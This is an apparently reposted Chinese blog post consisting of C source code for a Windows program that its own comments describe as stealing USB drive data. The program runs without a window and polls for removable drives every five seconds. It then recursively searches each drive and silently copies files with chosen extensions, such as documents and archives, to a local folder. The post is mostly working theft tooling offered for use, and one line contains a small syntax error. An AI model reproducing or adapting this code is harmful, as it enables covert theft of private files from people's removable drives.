windows窃取u盘数据

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <io.h>
static char UDisk_Drive[5] = { 0 };//保存临时U盘驱动盘符
static char Path_Save[MAX_PATH] = { 0 };//偷取的文件存储路径

/*创建一个存储U盘盘符的结构体*/
struct UDisk_List{
    char name[4];
    struct UDisk_List *pnext;
};
struct UDisk_List *phead = NULL;

/*创建一个存储拓展名的结构体*/
struct Extension_List{
    char extension[8];
    struct Extension_List *pnext;
};
struct Extension_List *ext_phead = NULL;

/*创建一个存储U盘盘符的链表*/
void Create_UDisk_List(struct UDisk_List **ptr, const char *UDisk_Drive)
{
    if (*ptr == NULL)
    {
        struct UDisk_List *newnode = (struct UDisk_List *)malloc(sizeof (struct UDisk_List));
        if (newnode == NULL)
        {
            return;
        }
        strcpy(newnode->name, UDisk_Drive);
        *ptr = newnode;
        newnode->pnext = NULL;
    }
    else
    {
        struct UDisk_List *ptr = phead;
        while (ptr->pnext != NULL)
        {
            ptr = ptr->pnext;
        }
        struct UDisk_List *newnode = (struct UDisk_List *)malloc(sizeof (struct UDisk_List));
        if (newnode == NULL)
        {
            return;
        }
        strcpy(newnode->name, UDisk_Drive);
        ptr->pnext = newnode;
        newnode->pnext = NULL;
    }
    return;
}

/*创建一个存储拓展名的链表*/
void Create_Ext_List(struct Extension_List **ext_phead, char *str)
{
    if (*ext_phead == NULL)
    {
        struct Extension_List *newnode = (struct Extension_List *)malloc(sizeof (struct Extension_List));
        if (newnode == NULL)
        {
            return;
        }
        strcpy(newnode->extension, str);
        *ext_phead = newnode;
        newnode->pnext = NULL;
    }
    else
    {
        struct Extension_List *ptr = *ext_phead;
        while (ptr->pnext != NULL)
        {
            ptr = ptr->pnext;
        }
        struct Extension_List *newnode = (struct Extension_List *)malloc(sizeof (struct Extension_List));
        if (newnode == NULL)
        {
            return;
        }
        strcpy(newnode->extension, str);
        ptr->pnext = newnode;
        newnode->pnext = NULL;
    }
    return;
}

/*复制文件函数*/
BOOL Copy_File(char *pFrom, char *pTo)
{
    SHFILEOPSTRUCTA FileOp = { 0 };
    FileOp.hwnd = NULL;
    FileOp.fFlags = FOF_NOCONFIRMATION |
        FOF_NOCONFIRMMKDIR | FOF_NO_UI;
    FileOp.pFrom = pFrom;
    FileOp.pTo = pTo;
    FileOp.wFunc = FO_COPY;
    return SHFileOperationA(&FileOp) == 0;
}

/*读取“拓展名.txt”文件函数*/
BOOL Read_Ext_Data()
{
    if (_access(".\\拓展名.txt", 0))
    {
        FILE *file_ptr = fopen(".\\拓展名.txt", "wb");
        if (file_ptr == NULL)
        {
            MessageBoxA(NULL,"创建“拓展名.txt”文件失败","提示",MB_OK);
            return FALSE;
        }
        fclose(file_ptr);
    }
    char extension[MAX_PATH] = { 0 };
    FILE *file_ptr = fopen(".\\拓展名.txt", "rb");
    if (file_ptr == NULL)
    {
        return FALSE;
    }
    while (!feof(file_ptr))
    {
        fread(extension, 1, MAX_PATH, file_ptr);
    }
    fclose(file_ptr);
    if (!strcmp(extension,""))
    {
        MessageBoxA(NULL, "“拓展名.txt”文件内容为空,请填写要窃取的拓展名\n格式例如.doc|.xls|.txt|.rar|", "提示", MB_OK);
        return FALSE;
    }
    /*实现算法将“拓展名.txt”文件里面的以.doc|.txt|.exe|.ppt|格式分解成
      .doc
      .txt
      .exe
      .ppt
      存储到Extension_List链表里面*/
    unsigned short  flags = 0;
    char *ptr = extension, *temp = ptr;
    while (*ptr != '\0')
    {
        if (*ptr == '|')
        {
            char buf[8] = { 0 };
            strncpy(buf, temp, flags);
            Create_Ext_List(&ext_phead, buf);
            temp = ptr + 1, flags = -1;
        }
        ptr++, flags++;
    }
    return TRUE;
}

/*搜索以Extension_List链表里面存储的拓展名文件*/
BOOL DirectorySearch(const char *dirpath, char *Save_Path, struct Extension_List *ext_phead)
{
    WIN32_FIND_DATAA lpfinddata;
    char dir_sear_path[1024] = { 0 };
    char dir_file_name[1024] = { 0 };
    strcpy(dir_sear_path, dirpath);
    strcpy(dir_file_name, dirpath);

    const char *psearch = strrchr(dirpath, '\\');
    if (psearch != NULL && strlen(psearch) == 1)
    {
        strcat(dir_file_name, "*");
    }
    else
    {
        strcat(dir_file_name, "\\*");
        strcat(dir_sear_path, "\\");
    }

    HANDLE filehandle = FindFirstFileA(dir_file_name, &lpfinddata);
    if (filehandle == INVALID_HANDLE_VALUE)
    {
        DWORD Err = GetLastError();
        if (Err == 2)
        {
            MessageBoxA(NULL, "存储目录格式错误;例如d:\file", "提示", MB_OK);
            return FALSE;
        }
        CHAR ErrBuf[40] = { 0 };
        sprintf(ErrBuf, "INVALID_HANDLE_VALUE%d", Err);
        MessageBoxA(NULL, ErrBuf, "提示", MB_OK);
        return FALSE;
    }

    while (FindNextFileA(filehandle, &lpfinddata))
    {
        if (!strcmp(lpfinddata.cFileName, ".") || !strcmp(lpfinddata.cFileName, ".."))
        {
            continue;
        }

        char dirfiletemp[1024] = { 0 };
        strcpy(dirfiletemp, dir_sear_path);
        strcat(dirfiletemp, lpfinddata.cFileName);

        char *ptr = lpfinddata.cFileName;
        while (*ptr != '\0')
        {
            if (*ptr == '.')
            {
                struct Extension_List *temp = ext_phead;
                while (temp != NULL)
                {
                    if (!strcmp(ptr, temp->extension))
                    {
                        Copy_File(dirfiletemp, Save_Path);
                    }
                    temp = temp->pnext;
                }
            }
            ptr++;
        }
        if (lpfinddata.dwFileAttributes == 16)
        {
            strcat(dirfiletemp, "\\");
            DirectorySearch(dirfiletemp, Save_Path, ext_phead);
        }
    }
    FindClose(filehandle);
    return TRUE;
}

//判断U盘是否插在电脑上
BOOL Is_UDisk_Exist()
{
    BOOL exist = FALSE;
    for (char ch = 'C'; ch <= 'Z'; ch++)
    {
        sprintf_s(UDisk_Drive, sizeof UDisk_Drive, "%c:\\", ch);
        if (GetDriveTypeA(UDisk_Drive) == DRIVE_REMOVABLE)
        {
            Create_UDisk_List(&phead, UDisk_Drive);
            exist = TRUE;
        }
    }
    return exist;
}

/*执行操作搜索Extension_List链表里面的拓展名*/
BOOL  Execute(struct  Extension_List *ext_phead)
{
    BOOL exist = TRUE;
    while (phead != NULL)
    {
        if (!DirectorySearch(phead->name, Path_Save, ext_phead))
        {
            exist = FALSE;
            break;
        }
        phead = phead->pnext;
    }
    return exist;
}

/*判断目录是否存在函数*/
BOOL PathIsDirectory(const char *Directory)
{
    WIN32_FIND_DATAA lpFindData;
    HANDLE FindHandle = FindFirstFileA(Directory, &lpFindData);
    if (lpFindData.dwFileAttributes == 16)
    {
        return TRUE;
    }
    return FALSE;
}

/*释放UDisk_List链表*/
void Free_UDisk_List(struct UDisk_List **phead)
{
    if (*phead == NULL)
    {
        return;
    }
    struct UDisk_List *p1, *p2;
    p1 = p2 = NULL;
    p1 = *phead;
    while (p1->pnext != NULL)
    {
        p2 = p1->pnext;
        p1->pnext = p2->pnext;
        free(p2);
        if(p2 != NULL)
            p2 = NULL
    }
    free(*phead);
    if(*phead != NULL)
        *phead = NULL;
    return;
}

/*释放Extension_List链表*/
void Free_Extension_List(struct Extension_List **ext_phead)
{
    if (*ext_phead == NULL)
    {
        return;
    }
    struct Extension_List *p1, *p2;
    p1 = p2 = NULL;
    p1 = *ext_phead;
    while (p1->pnext != NULL)
    {
        p2 = p1->pnext;
        p1->pnext = p2->pnext;
        free(p2);
        if(p2 != NULL)
            p2 = NULL;
    }
    free(*ext_phead);
    if(*ext_phead != NULL)
        *ext_phead = NULL;
    return;
}

/*读取“保存路径.txt”文件里面的目录*/
BOOL Read_Path_Data()
{
    if (_access(".\\保存路径.txt", 0))
    {
        FILE *file_ptr = fopen(".\\保存路径.txt", "wb");
        if (file_ptr == NULL)
        {
            MessageBoxA(NULL, "创建保存路径.txt文件失败", "提示", MB_OK);
            return FALSE;
        }
        fclose(file_ptr);
    }
    FILE *file_ptr = fopen(".\\保存路径.txt", "rb");
    if (file_ptr == NULL)
    {
        MessageBoxA(NULL, "打开保存路径.txt文件失败", "提示", MB_OK);
        return FALSE;
    }
    while (!feof(file_ptr))
        fread(Path_Save, 1, MAX_PATH, file_ptr);
    fclose(file_ptr);
    if (!strcmp(Path_Save, ""))
    {
        MessageBoxA(NULL, "“保存路径.txt”文件内容为空,请填写保存目录\n格式例如d:\\copy", "提示", MB_OK);
        return FALSE;
    }
    return TRUE;
}

BOOL DoSomething()
{
    /*判断“保存路径.txt,拓展名.txt”是否为空目录*/
    if (!Read_Path_Data() || !Read_Ext_Data())
        return FALSE;
    /*判断U盘是否存在,如果不存在休眠5秒,一直死循环下去等待u盘插入电脑*/
    if (!Is_UDisk_Exist())
    {
        Sleep(5000);
        return TRUE;
    }
    else
    {
        /*判断窃取的文件存放的文件夹是否存在*/
        if (!PathIsDirectory(Path_Save))
            /*如果不存在则创建一个Path_Save的文件夹*/
            CreateDirectoryA(Path_Save, NULL);

        /*如果执行偷取失败,则出现错误提示*/
        if (!Execute(ext_phead))
        {
            MessageBoxA(NULL, "窃取文件失败", "提示", MB_OK);
        }
        Free_UDisk_List(&phead);
        Free_Extension_List(&ext_phead);
        return FALSE;
    }
}

int WINAPI WinMain(_In_ HINSTANCE hInstance,
        _In_opt_ HINSTANCE hPrevInstance,
        _In_ LPSTR lpCmdLine,
        _In_ int nShowCmd)
{
    while (DoSomething());
    return 0;
}

猜你喜欢

转载自blog.csdn.net/qq_31629063/article/details/80694262